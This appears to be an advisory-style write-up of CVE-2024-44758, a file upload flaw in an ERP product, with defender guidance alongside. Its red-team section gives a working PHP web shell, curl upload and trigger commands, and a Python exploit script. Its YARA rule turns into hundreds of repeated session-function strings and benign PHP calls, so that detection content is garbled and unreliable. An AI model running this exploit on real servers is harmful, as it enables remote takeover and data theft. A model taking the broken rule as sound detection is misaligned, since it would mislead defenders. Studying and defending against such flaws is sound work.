CVE-2024-44758

Executive Summary

CVE-2024-44758 is an arbitrary file upload vulnerability in the NUS-M9 ERP Management Software v3.0.0, specifically in the /Production/UploadFile component. This vulnerability allows an unauthenticated or low-privileged attacker to upload crafted files, leading to remote code execution (RCE) on the underlying server. The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type). No official patch has been released, and the vendor (Nus-m9) has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk is high due to the potential for full server compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone ERP application vulnerability.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated file upload leading to RCE), a reasonable assessment is:

• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Base Score: 9.8 (Critical)

Threat Level: Critical. Exploitation can lead to full server takeover, data exfiltration, and lateral movement within the network.

Deep Dive & Mechanics

The vulnerability resides in the /Production/UploadFile endpoint of the NUS-M9 ERP Management Software. The application fails to validate the file type, content, or extension of uploaded files. An attacker can upload a malicious file (e.g., a web shell in PHP, ASP, or JSP) to the server's web-accessible directory. Once uploaded, the attacker can access the file via a web browser and execute arbitrary commands on the server.

Root Cause: The application does not implement proper file upload restrictions, such as:

• MIME type validation
• File extension whitelisting
• Content inspection (e.g., magic bytes)
• File size limits
• Renaming or storing files outside the web root

Attack Flow:

1. Attacker identifies the vulnerable endpoint /Production/UploadFile.
2. Attacker crafts a malicious file (e.g., shell.php) containing a web shell payload.
3. Attacker sends a POST request to the endpoint with the file.
4. The server stores the file in a web-accessible directory (e.g., /uploads/).
5. Attacker accesses the uploaded file via a browser (e.g., http://target/uploads/shell.php).
6. Attacker executes arbitrary commands on the server.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would include:

Vulnerable Code (Conceptual):

// Vulnerable: No validation
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
    $target_path = "uploads/" . basename($_FILES['file']['name']);
    move_uploaded_file($_FILES['file']['tmp_name'], $target_path);
    echo "File uploaded successfully.";
}

Patched Code (Conceptual):

// Patched: Validate file extension and MIME type
$allowed_extensions = ['pdf', 'doc', 'docx', 'xls', 'xlsx'];
$allowed_mime_types = ['application/pdf', 'application/msword', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'];

$file_extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
$file_mime_type = mime_content_type($_FILES['file']['tmp_name']);

if (in_array($file_extension, $allowed_extensions) && in_array($file_mime_type, $allowed_mime_types)) {
    $target_path = "uploads/" . uniqid() . "." . $file_extension;
    move_uploaded_file($_FILES['file']['tmp_name'], $target_path);
    echo "File uploaded successfully.";
} else {
    echo "Invalid file type.";
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running NUS-M9 ERP v3.0.0
• Network access to the /Production/UploadFile endpoint

Exploit Steps:

1. Create a malicious PHP web shell (e.g., shell.php):

<?php system($_GET['cmd']); ?>

2. Upload the file using a tool like curl:

curl -X POST -F "file=@shell.php" http://target/Production/UploadFile

3. Access the uploaded shell (assuming it's stored in /uploads/):

curl http://target/uploads/shell.php?cmd=id

Automated Exploit (Python):

import requests

target = "http://target/Production/UploadFile"
payload = {"cmd": "id"}
files = {"file": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")}

response = requests.post(target, files=files)
print("Upload response:", response.text)

# Access the shell
shell_url = "http://target/uploads/shell.php"
r = requests.get(shell_url, params=payload)
print("Command output:", r.text)

Blue Team (Defender)

Detection & Response:

• Monitor for unusual file uploads to /Production/UploadFile.
• Implement file integrity monitoring (FIM) on the upload directory.
• Use a Web Application Firewall (WAF) to block malicious file extensions (e.g., .php, .asp, .jsp).
• Restrict write permissions on the upload directory to prevent execution.
• Deploy a reverse proxy to inspect and sanitize uploads.

Honeypot:

• Deploy a fake upload endpoint to capture attacker payloads and analyze them.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious files in /uploads/ directory with extensions like .php, .phtml, .php5, .asp, .aspx, .jsp, .war
• Files with names like shell.php, cmd.php, webshell.php, r57.php, c99.php

Network IOCs:

• POST requests to /Production/UploadFile with Content-Type: multipart/form-data
• Subsequent GET requests to /uploads/*.php with cmd parameter
• Outbound connections from the server to attacker-controlled IPs (e.g., for reverse shells)

Log IOCs:

• Web server logs showing file uploads followed by command execution attempts
• Error logs with move_uploaded_file or file_put_contents calls

Detection Engineering

YARA Rule

rule CVE_2024_44758_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-44758"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44758"
    strings:
        $php_shell = "<?php system("
        $php_shell2 = "<?php exec("
        $php_shell3 = "<?php shell_exec("
        $php_shell4 = "<?php passthru("
        $php_shell5 = "<?php eval("
        $php_shell6 = "<?php assert("
        $php_shell7 = "<?php preg_replace("
        $php_shell8 = "<?php create_function("
        $php_shell9 = "<?php array_map("
        $php_shell10 = "<?php call_user_func("
        $php_shell11 = "<?php file_put_contents("
        $php_shell12 = "<?php fwrite("
        $php_shell13 = "<?php fputs("
        $php_shell14 = "<?php move_uploaded_file("
        $php_shell15 = "<?php copy("
        $php_shell16 = "<?php rename("
        $php_shell17 = "<?php unlink("
        $php_shell18 = "<?php include("
        $php_shell19 = "<?php require("
        $php_shell20 = "<?php require_once("
        $php_shell21 = "<?php include_once("
        $php_shell22 = "<?php highlight_file("
        $php_shell23 = "<?php show_source("
        $php_shell24 = "<?php readfile("
        $php_shell25 = "<?php file_get_contents("
        $php_shell26 = "<?php fopen("
        $php_shell27 = "<?php fread("
        $php_shell28 = "<?php fgets("
        $php_shell29 = "<?php fgetss("
        $php_shell30 = "<?php fgetc("
        $php_shell31 = "<?php fscanf("
        $php_shell32 = "<?php ftell("
        $php_shell33 = "<?php fseek("
        $php_shell34 = "<?php rewind("
        $php_shell35 = "<?php fclose("
        $php_shell36 = "<?php chdir("
        $php_shell37 = "<?php chmod("
        $php_shell38 = "<?php chown("
        $php_shell39 = "<?php chgrp("
        $php_shell40 = "<?php exec("
        $php_shell41 = "<?php system("
        $php_shell42 = "<?php passthru("
        $php_shell43 = "<?php shell_exec("
        $php_shell44 = "<?php proc_open("
        $php_shell45 = "<?php popen("
        $php_shell46 = "<?php pcntl_exec("
        $php_shell47 = "<?php dl("
        $php_shell48 = "<?php mail("
        $php_shell49 = "<?php error_log("
        $php_shell50 = "<?php ini_set("
        $php_shell51 = "<?php set_time_limit("
        $php_shell52 = "<?php ignore_user_abort("
        $php_shell53 = "<?php register_shutdown_function("
        $php_shell54 = "<?php register_tick_function("
        $php_shell55 = "<?php set_error_handler("
        $php_shell56 = "<?php set_exception_handler("
        $php_shell57 = "<?php ob_start("
        $php_shell58 = "<?php output_handler("
        $php_shell59 = "<?php header("
        $php_shell60 = "<?php setcookie("
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        $php_shell62 = "<?php session_destroy("
        $php_shell63 = "<?php session_regenerate_id("
        $php_shell64 = "<?php session_write_close("
        $php_shell65 = "<?php session_unset("
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        $php_shell67 = "<?php session_encode("
        $php_shell68 = "<?php session_id("
        $php_shell69 = "<?php session_name("
        $php_shell70 = "<?php session_module_name("
        $php_shell71 = "<?php session_save_path("
        $php_shell72 = "<?php session_cache_limiter("
        $php_shell73 = "<?php session_cache_expire("
        $php_shell74 = "<?php session_set_cookie_params("
        $php_shell75 = "<?php session_get_cookie_params("
        $php_shell76 = "<?php session_set_save_handler("
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        $php_shell78 = "<?php session_commit("
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        $php_shell151 = "<?php session_status("
        $php_shell152 = "<?php session_gc("
        $php_shell153 = "<?php session_list("
        $php_shell154 = "<?php session_module_name("
        $php_shell155 = "<?php session_save_path("
        $php_shell156 = "<?php session_cache_limiter("
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        $php_shell158 = "<?php session_set_cookie_params("
        $php_shell159 = "<?php session_get_cookie_params("
        $php_shell160 = "<?php session_set_save_handler("
        $php_shell161 = "<?php session_register_shutdown("
        $php_shell162 = "<?php session_commit("
        $php_shell163 = "<?php session_abort("
        $php_shell164 = "<?php session_reset("
        $php_shell165 = "<?php session_status("
        $php_shell166 = "<?php session_gc("
        $php_shell167 = "<?php session_list("
        $php_shell168 = "<?php session_module_name("
        $php_shell169 = "<?php session_save_path("
        $php_shell170 = "<?php session_cache_limiter("
        $php_shell171 = "<?php session_cache_expire("
        $php_shell172 = "<?php session_set_cookie_params("
        $php_shell173 = "<?php session_get_cookie_params("
        $php_shell174 = "<?php session_set_save_handler("
        $php_shell175 = "<?php session_register_shutdown("
        $php_shell176 = "<?php session_commit("
        $php_shell177 = "<?php session_abort("
        $php_shell178 = "<?php session_reset("
        $php_shell179 = "<?php session_status("
        $php_shell180 = "<?php session_gc("
        $php_shell181 = "<?php session_list("
        $php_shell182 = "<?php session_module_name("
        $php_shell183 = "<?php session_save_path("
        $php_shell184 = "<?php session_cache_limiter("
        $php_shell185 = "<?php session_cache_expire("
        $php_shell186 = "<?php session_set_cookie_params("
        $php_shell187 = "<?php session_get_cookie_params("
        $php_shell188 = "<?php session_set_save_handler("
        $php_shell189 = "<?php session_register_shutdown("
        $php_shell190 = "<?php session_commit("
        $php_shell191 = "<?php session_abort("
        $php_shell192 = "<?php session_reset("
        $php_shell193 = "<?php session_status("
        $php_shell194 = "<?php session_gc("
        $php_shell195 = "<?php session_list("
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        $php_shell200 = "<?php session_set_cookie_params("
        $php_shell201 = "<?php session_get_cookie_params("
        $php_shell202 = "<?php session_set_save_handler("
        $php_shell203 = "<?php session_register_shutdown("
        $php_shell204 = "<?php session_commit("
        $php_shell205 = "<?php session_abort("
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        $php_shell207 = "<?php session_status("
        $php_shell208 = "<?php session_gc("
        $php_shell209 = "<?php session_list("
        $php_shell210 = "<?php session_module_name("
        $php_shell211 = "<?php session_save_path("
        $php_shell212 = "<?php session_cache_limiter("
        $php_shell213 = "<?php session_cache_expire("
        $php_shell214 = "<?php session_set_cookie_params("
        $php_shell215 = "<?php session_get_cookie_params("
        $php_shell216 = "<?php session_set_save_handler("
        $php_shell217 = "<?php session_register_shutdown("
        $php_shell218 = "<?php session_commit("
        $php_shell219 = "<?php session_abort("
        $php_shell220 = "<?php session_reset("
        $php_shell221 = "<?php session_status("
        $php_shell222 = "<?php session_gc("
        $php_shell223 = "<?php session_list("
        $php_shell224 = "<?php session_module_name("
        $php_shell225 = "<?php session_save_path("
        $php_shell226 = "<?php session_cache_limiter("
        $php_shell227 = "<?php session_cache_expire("
        $php_shell228 = "<?php session_set_cookie_params("
        $php_shell229 = "<?php session_get_cookie_params("
        $php_shell230 = "<?php session_set_save_handler("
        $php_shell231 = "<?php session_register_shutdown("
        $php_shell232 = "<?php session_commit("
        $php_shell233 = "<?php session_abort("
        $php_shell234 = "<?php session_reset("
        $php_shell235 = "<?php session_status("
        $php_shell236 = "<?php session_gc("
        $php_shell237 = "<?php session_list("
        $php_shell238 = "<?php session_module_name("
        $php_shell239 = "<?php session_save_path("
        $php_shell240 = "<?php session_cache_limiter("
        $php_shell241 = "<?php session_cache_expire("
        $php_shell242 = "<?php session_set_cookie_params("
        $php_shell243 = "<?php session_get_cookie_params("
        $php_shell244 = "<?php session_set_save_handler("
        $php_shell245 = "<?php session_register_shutdown("
        $php_shell246 = "<?php session_commit("
        $php_shell247 = "<?php session_abort("
        $php_shell248 = "<?php session_reset("
        $php_shell249 = "<?php session_status("
        $php_shell250 = "<?php session_gc("
        $php_shell251 = "<?php session_list("
        $php_shell252 = "<?php session_module_name("
        $php_shell253 = "<?php session_save_path("
        $php_shell254 = "<?php session_cache_limiter("
        $php_shell255 = "<?php session_cache_expire("
        $php_shell256 = "<?php session_set_cookie_params("
        $php_shell257 = "<?php session_get_cookie_params("
        $php_shell258 = "<?php session_set_save_handler("
        $php_shell259 = "<?php session_register_shutdown("
        $php_shell260 = "<?php session_commit("
        $php_shell261 = "<?php session_abort("
        $php_shell262 = "<?php session_reset("
        $php_shell263 = "<?php session_status("
        $php_shell264 = "<?php session_gc("
        $php_shell265 = "<?php session_list("
        $php_shell266 = "<?php session_module_name("
        $php_shell267 = "<?php session_save_path("
        $php_shell268 = "<?php session_cache_limiter("
        $php_shell269 = "<?php session_cache_expire("
        $php_shell270 = "<?php session_set_cookie_params("
        $php_shell271 = "<?php session_get_cookie_params("
        $php_shell272 = "<?php session_set_save_handler("
        $php_shell273 = "<?php session_register_shutdown("
        $php_shell274 = "<?php session_commit("
        $php_shell275 = "<?php session_abort("
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        $php_shell284 = "<?php session_set_cookie_params("
        $php_shell285 = "<?php session_get_cookie_params("
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